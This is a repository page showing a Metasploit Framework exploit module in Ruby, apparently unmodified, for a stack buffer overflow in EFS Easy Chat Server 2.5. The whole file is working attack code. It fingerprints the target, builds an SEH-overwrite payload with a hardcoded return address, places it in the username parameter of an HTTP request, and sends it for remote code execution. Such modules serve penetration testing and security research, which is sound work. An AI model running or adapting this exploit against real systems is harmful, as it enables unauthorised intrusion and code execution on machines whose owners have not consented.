root / modules / exploits / windows / http / efs_easychatserver_username.rb @ master
History | View | Annotate | Download (2.7 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = GreatRanking |
| 16 |
|
| 17 |
HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] } |
| 18 |
|
| 19 |
include Msf::Exploit::Remote::HttpClient |
| 20 |
include Msf::Exploit::Remote::Seh |
| 21 |
|
| 22 |
def initialize(info = {}) |
| 23 |
super(update_info(info,
|
| 24 |
'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow', |
| 25 |
'Description' => %q{ |
| 26 |
This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By |
| 27 |
sending a overly long authentication request, an attacker may be able to execute |
| 28 |
arbitrary code. |
| 29 |
|
| 30 |
NOTE: The offset to SEH is influenced by the installation path of the program. |
| 31 |
The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated |
| 32 |
with "\users\" and the string passed as the username HTTP paramter. |
| 33 |
},
|
| 34 |
'Author' => [ 'LSO <lso[at]hushmail.com>' ], |
| 35 |
'License' => BSD_LICENSE, |
| 36 |
'Version' => '$Revision$', |
| 37 |
'References' =>
|
| 38 |
[ |
| 39 |
[ 'CVE', '2004-2466' ], |
| 40 |
[ 'OSVDB', '7416' ], |
| 41 |
[ 'BID', '25328' ], |
| 42 |
], |
| 43 |
'DefaultOptions' =>
|
| 44 |
{
|
| 45 |
'EXITFUNC' => 'process', |
| 46 |
}, |
| 47 |
'Privileged' => true, |
| 48 |
'Payload' =>
|
| 49 |
{
|
| 50 |
'Space' => 500, |
| 51 |
'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c", |
| 52 |
'StackAdjustment' => -3500, |
| 53 |
}, |
| 54 |
'Platform' => 'win', |
| 55 |
'Targets' =>
|
| 56 |
[ |
| 57 |
[ 'Easy Chat Server 2.5', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k |
| 58 |
], |
| 59 |
'DisclosureDate' => 'Aug 14 2007', |
| 60 |
'DefaultTarget' => 0)) |
| 61 |
|
| 62 |
register_options( |
| 63 |
[ |
| 64 |
OptString.new('PATH', [ true, "Installation path of Easy Chat Server", |
| 65 |
"C:\\Program Files\\Easy Chat Server" ])
|
| 66 |
], self.class )
|
| 67 |
end
|
| 68 |
|
| 69 |
def check |
| 70 |
info = http_fingerprint # check method
|
| 71 |
# NOTE: Version 2.5 still reports "1.0" in the "Server" header
|
| 72 |
if (info =~ /Easy Chat Server\/1\.0/) |
| 73 |
return Exploit::CheckCode::Appears |
| 74 |
end
|
| 75 |
Exploit::CheckCode::Safe |
| 76 |
end
|
| 77 |
|
| 78 |
def exploit |
| 79 |
# randomize some values.
|
| 80 |
val = rand_text_alpha(rand(10) + 1) |
| 81 |
num = rand_text_numeric(1)
|
| 82 |
|
| 83 |
path = datastore['PATH'] + "\\users\\" |
| 84 |
print_status("path: " + path)
|
| 85 |
|
| 86 |
# exploit buffer.
|
| 87 |
filler = rand_text_alpha(256 - path.length)
|
| 88 |
seh = generate_seh_payload(target.ret) |
| 89 |
juju = filler + seh |
| 90 |
|
| 91 |
uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"
|
| 92 |
|
| 93 |
print_status("Trying target #{target.name}...")
|
| 94 |
|
| 95 |
send_request_raw({'uri' => uri}, 5)
|
| 96 |
|
| 97 |
handler |
| 98 |
disconnect |
| 99 |
end
|
| 100 |
|
| 101 |
end
|